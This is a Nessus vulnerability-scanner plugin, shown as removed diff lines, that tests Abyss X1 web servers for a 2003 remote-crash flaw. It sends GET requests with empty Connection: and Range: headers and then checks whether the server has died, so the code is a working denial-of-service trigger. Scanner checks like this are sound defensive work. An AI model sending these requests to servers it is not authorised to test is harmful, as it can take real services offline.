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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- # GPL
- #
- # References:
- # Date: Sat, 5 Apr 2003 12:21:48 +0000
- # From: Auriemma Luigi <aluigi@pivx.com>
- # To: bugtraq@securityfocus.com, vulnwatch@vulnwatch.org,
- # full-disclosure@lists.netsys.com, list@dshield.org
- # Subject: [VulnWatch] Abyss X1 1.1.2 remote crash
- #
-
-
- if(description)
- {
- script_id(11521);
- script_bugtraq_id(7287);
- script_version ("$Revision: 1.6 $");
- name["english"] = "Abyss httpd crash";
- script_name(english:name["english"]);
-
- desc["english"] = "
- It was possible to kill the web server by
- sending empty HTTP fields (namely Connection: and Range: ).
-
- An attacker may use this flaw to prevent this host from performing
- its job properly.
-
-
- Solution : If the remote web server is Abyss X1, then upgrade to
- Abyss X1 v.1.1.4, otherwise inform your vendor of this flaw.
-
- Risk factor : High";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Empty HTTP fields crash the remote web server";
- script_summary(english:summary["english"]);
-
- script_category(ACT_DENIAL);
-
- script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison");
- family["english"] = "Denial of Service";
- script_family(english:family["english"]);
- script_dependencies("find_service.nes", "no404.nasl", "http_version.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- ########
-
-
- include("http_func.inc");
-
- port = get_http_port(default:80);
-
- if(! get_port_state(port)) exit(0);
-
- if(http_is_dead(port:port))exit(0);
-
- req = string("GET / HTTP/1.0\r\n", "Connection: \r\n\r\n");
- soc = http_open_socket(port);
- if(! soc) exit(0);
-
- send(socket:soc, data: req);
- r = http_recv(socket:soc);
- http_close_socket(soc);
-
-
-
- if(http_is_dead(port: port)) { security_hole(port); }
-
-
-
- req = string("GET / HTTP/1.0\r\n", "Range: \r\n\r\n");
- soc = http_open_socket(port);
- if(! soc) exit(0);
-
- send(socket:soc, data: req);
- r = http_recv(socket:soc);
- http_close_socket(soc);
-
- if(http_is_dead(port: port)) { security_hole(port); }
-